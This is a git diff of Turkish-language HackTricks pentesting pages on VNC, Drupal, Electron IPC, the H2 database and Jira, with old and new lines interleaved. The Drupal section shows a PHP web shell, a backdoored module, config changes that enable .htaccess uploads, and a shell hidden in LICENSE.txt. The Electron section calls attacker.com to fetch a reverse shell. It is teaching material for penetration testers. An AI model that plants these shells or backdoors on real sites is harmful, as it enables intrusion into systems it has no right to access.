Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
@ -52,15 +52,15 @@ msf6 auxiliary(scanner/snmp/snmp_enum) > exploit
* [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9)
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hackleme kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hackleme öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hackleme öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -1,29 +1,29 @@
# 5800,5801,5900,5901 - Pentesting VNC
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
<summary>Support HackTricks</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
## Temel Bilgiler
**Sanal Ağ Bilgisi (VNC)**, **Uzak Çerçeve Tamponu (RFB)** protokolünü kullanarak başka bir bilgisayarla uzaktan kontrol ve işbirliği sağlamak için kullanılan sağlam bir grafik masaüstü paylaşım sistemidir. VNC ile kullanıcılar, klavye ve fare olaylarını iki yönlü olarak ileterek uzaktaki bir bilgisayarla sorunsuz bir şekilde etkileşimde bulunabilirler. Bu, gerçek zamanlı erişim sağlar ve bir ağ üzerinden verimli uzaktan yardım veya işbirliğini kolaylaştırır.
**Sanal Ağ Bilgisi (VNC)**, **Uzak Çerçeve Tamponu (RFB)** protokolünü kullanarak başka bir bilgisayarla uzaktan kontrol ve işbirliği sağlamak için tasarlanmış sağlam bir grafik masaüstü paylaşım sistemidir. VNC ile kullanıcılar, klavye ve fare olaylarını iki yönlü olarak ileterek uzaktaki bir bilgisayarla sorunsuz bir şekilde etkileşimde bulunabilirler. Bu, gerçek zamanlı erişim sağlar ve bir ağ üzerinden verimli uzaktan yardım veya işbirliğini kolaylaştırır.
VNC genellikle **5800 veya 5801 veya 5900 veya 5901** portlarını kullanır.
```
@ -60,15 +60,15 @@ Aracı burada da kolay erişim için kaydediyorum:
* `port:5900 RFB`
<figure><img src="/.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
**Hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -9,7 +9,7 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
@ -21,13 +21,13 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grt
Eski Drupal sürümlerinde **(sürüm 8'den önce)**, admin olarak giriş yapmak ve **`PHP filter` modülünü etkinleştirmek** mümkündü; bu modül "Gömülü PHP kodu/parçalarının değerlendirilmesine izin verir." Ancak sürüm 8'den itibaren bu modül varsayılan olarak yüklenmemektedir.
{% endhint %}
**php eklentisinin yüklü olması gerekir** ( _/modules/php_ adresine erişerek kontrol edin ve **403** dönerse, **mevcuttur**, eğer **bulunamadı** dönerse, **php eklentisi yüklü değildir**)
**php eklentisinin yüklü olması gerekir** ( _/modules/php_ adresine erişerek kontrol edin ve **403** dönerse, **mevcuttur**, eğer **bulunamazsa**, o zaman **php eklentisi yüklü değildir**)
_Modüller_ -> (**Kontrol Et**) _PHP Filtre_ -> _Yapılandırmayı Kaydet_
_**Modüller**_ -> (**Kontrol Et**) _PHP Filtre_ -> _Yapılandırmayı kaydet_
![](<../../../.gitbook/assets/image (247) (1).png>)
Ardından _İçerik Ekle_ -> _Temel Sayfa_ veya _Makale_ seçin -> _gövdeye php shellcode yazın_ -> _Metin formatında_ _PHP kodu_ seçin -> _Önizleme_ seçin
Ardından _İçerik ekle_ -> _Temel Sayfa_ veya _Makale_ seçin -> _Gövdeye php shellcode yazın_ -> _Metin formatında_ _PHP kodu_ seçin -> _Önizleme_ seçin
![](<../../../.gitbook/assets/image (338).png>)
@ -35,19 +35,19 @@ Son olarak, yeni oluşturulan düğüme erişin:
```bash
curl http://drupal-site.local/node/3
```
## PHP Filtre Modülünü Kurun
## PHP Filter Modülünü Kurun
{% hint style="warning" %}
Mevcut sürümlerde, varsayılan kurulumdan sonra yalnızca web erişimi ile eklenti kurmak artık mümkün değildir.
{% endhint %}
**8 ve sonrası sürümlerde,** [**PHP Filtre**](https://www.drupal.org/project/php/releases/8.x-1.1) **modülü varsayılan olarak kurulmamıştır**. Bu işlevselliği kullanmak için **modülü kendimiz kurmamız gerekecek**.
**8 ve sonrası sürümlerde,** [**PHP Filter**](https://www.drupal.org/project/php/releases/8.x-1.1) **modülü varsayılan olarak kurulmamıştır**. Bu işlevselliği kullanmak için **modülü kendimiz kurmamız gerekecek**.
1. Drupal web sitesinden modülün en son sürümünü indirin.
1. Modülün en son sürümünü Drupal web sitesinden indirin.
1. wget https://ftp.drupal.org/files/projects/php-8.x-1.1.tar.gz
2. İndirdikten sonra **`Yönetim`** > **`Raporlar`** > **`Mevcut güncellemeler`** bölümüne gidin.
3. **`Gözat`** butonuna tıklayın, indirdiğimiz dosyayı seçin ve ardından **`Kur`** butonuna tıklayın.
4. Modül kurulduktan sonra, **`İçerik`** butonuna tıklayıp **yeni bir temel sayfa oluşturabiliriz**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin formatı`** açılır menüsünden **`PHP kodu`nu seçtiğinizden emin olun**.
4. Modül kurulduktan sonra, **`İçerik`** sekmesine tıklayıp **yeni bir temel sayfa oluşturun**, Drupal 7 örneğinde yaptığımız gibi. Yine, **`Metin formatı`** açılır menüsünden **`PHP kodu`nu seçtiğinizden emin olun**.
## Arka Kapılı Modül
@ -62,7 +62,7 @@ Arka kapılı bir modül, **mevcut bir modüle bir shell ekleyerek** oluşturula
wget --no-check-certificate https://ftp.drupal.org/files/projects/captcha-8.x-1.2.tar.gz
tar xvf captcha-8.x-1.2.tar.gz
```
* İçeriği ile bir **PHP web shell** oluşturun:
* Aşağıdaki içerik ile bir **PHP web shell** oluşturun:
```php
<?php
system($_GET["cmd"]);
@ -83,23 +83,23 @@ tar cvf captcha.tar.gz captcha/
* Web sitesine **yönetici erişimimiz** olduğunu varsayarsak, yan menüde **`Yönet`** ve ardından **`Genişlet`** seçeneğine tıklayın. Sonra, **`+ Yeni modül yükle`** butonuna tıklayın ve bizi yükleme sayfasına yönlendirecek, örneğin `http://drupal-site.local/admin/modules/install` Backdoored Captcha arşivine gidin ve **`Yükle`** butonuna tıklayın.
* Yükleme başarılı olduktan sonra, komutları çalıştırmak için **`/modules/captcha/shell.php`** adresine gidin.
## Drupal'ı Konfigürasyon senkronizasyonu ile Backdoorlamak <a href="#backdooring-drupal" id="backdooring-drupal"></a>
## Drupal'ı Konfigürasyon senkronizasyonu ile Backdoorlama <a href="#backdooring-drupal" id="backdooring-drupal"></a>
**Paylaşan:** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
### Bölüm 1 (_Media_ ve _Media Library_ aktivasyonu)
### Bölüm 1 (_Media_ ve _Media Library_'nin etkinleştirilmesi)
_Genişlet_ menüsünde (/admin/modules), zaten yüklenmiş gibi görünen eklentileri etkinleştirebilirsiniz. Varsayılan olarak, _Media_ ve _Media Library_ eklentileri etkin görünmüyor, bu yüzden bunları etkinleştirelim.
Aktivasyondan önce:
Etkinleştirmeden önce:
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Aktivasyondan sonra:
Etkinleştirdikten sonra:
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Bölüm 2 (_Configuration synchronization_ özelliğinden yararlanma) <a href="#part-2-leveraging-feature-configuration-synchronization" id="part-2-leveraging-feature-configuration-synchronization"></a>
@ -122,7 +122,7 @@ allow_insecure_uploads: false
...
```
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Şuna:
@ -136,11 +136,11 @@ allow_insecure_uploads: true
...
```
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (4) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Yamanla field.field.media.document.field\_media\_document.yml**
**Patch field.field.media.document.field\_media\_document.yml**
Ardından, ikinci girişi `file_extensions` olarak yamalayın:
Sonra, ikinci girişi `file_extensions`'ı şu şekilde yamanız gerekir:
Dosya: field.field.media.document.field\_media\_document.yml
```
@ -152,7 +152,7 @@ file_extensions: 'txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp ods odt fod
...
```
<figure><img src="../../../.gitbook/assets/image (5) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Şuna:
@ -168,9 +168,9 @@ file_extensions: 'htaccess txt rtf doc docx ppt pptx xls xlsx pdf odf odg odp od
```
> Bu blog yazısında kullanmıyorum ama `file_directory` girişinin keyfi bir şekilde tanımlanabileceği ve bir yol geçişi saldırısına karşı savunmasız olduğu not edilmiştir (bu nedenle Drupal dosya sistemi ağacında yukarı geri gidebiliriz).
<figure><img src="../../../.gitbook/assets/image (6) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (6) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
### Bölüm 3 (özellik _Belge Ekle_ kullanımı) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
### Bölüm 3 (özellik _Belge Ekle_ kullanma) <a href="#part-3-leveraging-feature-add-document" id="part-3-leveraging-feature-add-document"></a>
Son adım en basit olanıdır ve iki alt adıma ayrılmıştır. İlk adım, Apache direktiflerini kullanmak ve .txt dosyalarının PHP motoru tarafından yorumlanmasına izin vermek için bir .htaccess formatında dosya yüklemektir. İkinci adım, yükleyeceğimiz yükü içeren bir .txt dosyasıdır.
@ -198,9 +198,9 @@ Neden bu hile havalı?
Webshell'imize neden LICENSE.txt adını veriyoruz?
Basitçe, örneğin [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) dosyasını alırsak (ki bu dosya zaten Drupal çekirdeğinde mevcuttur), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu eklemek için mükemmel (çünkü dosya yeterince büyük).
Basitçe, örneğin [core/LICENSE.txt](https://github.com/drupal/drupal/blob/11.x/core/LICENSE.txt) dosyasını alırsak (ki bu dosya Drupal çekirdeğinde zaten mevcut), 339 satır ve 17.6 KB boyutunda bir dosyamız var, bu da ortasına küçük bir PHP kodu eklemek için mükemmel (çünkü dosya yeterince büyük).
<figure><img src="../../../.gitbook/assets/image (7) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (7) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Dosya: Yamanmış LICENSE.txt
```txt
@ -235,15 +235,15 @@ programs whose distribution conditions are different, write to the author
Öncelikle, Apache direktiflerini içeren dosyamızı yüklemek için _Belge Ekle_ (/media/add/document) özelliğini kullanıyoruz (.htaccess).
<figure><img src="../../../.gitbook/assets/image (8) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (8) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (10) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
**Bölüm 3.2 (dosya yükle LICENSE.txt)**
Ardından, bir lisans dosyası içinde gizli bir Webshell yüklemek için tekrar _Belge Ekle_ (/media/add/document) özelliğini kullanıyoruz.
Ardından, bir lisans dosyası içinde gizlenmiş bir Webshell yüklemek için tekrar _Belge Ekle_ (/media/add/document) özelliğini kullanıyoruz.
<figure><img src="../../../.gitbook/assets/image (11) (1).png" alt=""><figcaption></figcaption></figure>
@ -278,7 +278,7 @@ GCP Hacking öğrenin ve pratik yapın: <img src="../../../.gitbook/assets/grte.
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter**'da **bizi takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** bizi **takip edin** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>

View file

@ -23,12 +23,12 @@ Eğer preload script'i main.js dosyasından bir IPC uç noktasııyorsa, ren
[https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21](https://speakerdeck.com/masatokinugawa/how-i-hacked-microsoft-teams-and-got-150000-dollars-in-pwn2own?slide=21) adresinden bir örnek (bu slaytlarda MS Teams'in XSS'den RCE'ye nasıl istismar edildiğine dair tam bir örneğiniz var, bu sadece çok temel bir örnektir):
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/image (9) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
## Örnek 1
`main.js`'in `getUpdate` üzerinde nasıl dinlediğini ve **geçirilen herhangi bir URL'yi** **indirdiğini ve çalıştırdığını** kontrol edin.\
Ayrıca `preload.js`'in **ana** tarafından nasıl herhangi bir IPC olayını **açtığını** kontrol edin.
Ayrıca `preload.js`'in ana süreçten **herhangi bir IPC** olayını nasıl **açtığını** kontrol edin.
```javascript
// Part of code of main.js
ipcMain.on('getUpdate', (event, url) => {
@ -86,7 +86,7 @@ electronSend("getUpdate","https://attacker.com/path/to/revshell.sh");
```
## Örnek 2
Eğer preload script, renderer'a `shell.openExternal` çağırma yolu doğrudan sunuyorsa, RCE elde etmek mümkündür.
Eğer ön yükleme betiği, `shell.openExternal` çağırmanın bir yolunu doğrudan renderere açıyorsa, RCE elde etmek mümkündür.
```javascript
// Part of preload.js code
window.electronOpenInBrowser = (url) => {

View file

@ -1,22 +1,20 @@
# H2 - Java SQL veritabanı
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** bizi takip edin.**
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
</details>
{% endhint %}
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
Resmi sayfa: [https://www.h2database.com/html/main.html](https://www.h2database.com/html/main.html)
@ -31,7 +29,7 @@ Ya da örneğin bir **mysql çalışıyorsa** ve o veritabanının **adı** ve *
![](<../../.gitbook/assets/image (201).png>)
_**HTB'nin Hawk kutusundan bir ipucu.**_
_**HTB'nin Hawk kutusundan bir hile.**_
## **RCE**
@ -50,13 +48,11 @@ H2 veritabanı ile iletişim kurma erişiminiz varsa, RCE elde etmek için bu is
},
[...]
```
<figure><img src="/..https:/pentest.eu/RENDER_WebSec_10fps_21sec_9MB_29042024.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
AWS Hacking'i öğrenin ve pratik yapın:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>

View file

@ -9,21 +9,21 @@ GCP Hacking'i öğrenin ve pratik yapın: <img src="../../.gitbook/assets/grte.p
<summary>HackTricks'i Destekleyin</summary>
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın ya da **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'i takip edin.**
* **Hacking ipuçlarını paylaşmak için** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* **Hacking ipuçlarını paylaşın,** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR göndererek.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Eğer **hacking kariyeri** ile ilgileniyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı yazılı ve sözlü Lehçe gereklidir_).
**Hacking kariyerine** ilgi duyuyorsanız ve hacklenemez olanı hacklemek istiyorsanız - **işe alıyoruz!** (_akıcı Lehçe yazılı ve sözlü gereklidir_).
{% embed url="https://www.stmcyber.com/careers" %}
## Yetkileri Kontrol Et
Jira'da, **yetkiler herhangi bir kullanıcı tarafından** doğrulanmış ya da doğrulanmamış olarak `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktalar kullanıcının mevcut yetkilerini ortaya koyar. **Doğrulanmamış kullanıcıların yetkilere sahip olması** önemli bir endişe yaratır ve bu, potansiyel olarak bir **güvenlik açığı** için uygun olabilir. Benzer şekilde, **doğrulanmış kullanıcılar için beklenmedik yetkiler** de bir **açığı** vurgular.
Jira'da, **yetkiler herhangi bir kullanıcı tarafından**, kimlik doğrulaması yapılmış veya yapılmamış, `/rest/api/2/mypermissions` veya `/rest/api/3/mypermissions` uç noktaları aracılığıyla kontrol edilebilir. Bu uç noktalar kullanıcının mevcut yetkilerini ortaya koyar. **Kimlik doğrulaması yapılmamış kullanıcıların yetkilere sahip olması** önemli bir endişe yaratır ve bu, potansiyel olarak bir **güvenlik açığı** olarak değerlendirilebilir. Benzer şekilde, **kimlik doğrulaması yapılmış kullanıcılar için beklenmedik yetkiler** de bir **açığı** vurgular.
**1 Şubat 2019**'da önemli bir **güncelleme** yapıldı ve 'mypermissions' uç noktasının bir **'permission' parametresi** içermesi gerektiği belirtildi. Bu gereklilik, sorgulanan yetkileri belirterek **güvenliği artırmayı** amaçlamaktadır: [buradan kontrol edin](https://developer.atlassian.com/cloud/jira/platform/change-notice-get-my-permissions-requires-permissions-query-parameter/#change-notice---get-my-permissions-resource-will-require-a-permissions-query-parameter)
@ -85,7 +85,7 @@ Bu [**blogda**](https://cyllective.com/blog/posts/atlassian-audit-plugins) belir
* [REST Eklenti Modülü ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/rest-plugin-module): RESTful API uç noktalarınıığa çıkarır
* [Servlet Eklenti Modülü ↗](https://developer.atlassian.com/server/framework/atlassian-sdk/servlet-plugin-module/): Bir eklentinin parçası olarak Java servletlerini dağıtır
* [Makro Eklenti Modülü ↗](https://developer.atlassian.com/server/confluence/macro-module/): Confluence Makrolarını uygular, yani parametreli HTML şablonları
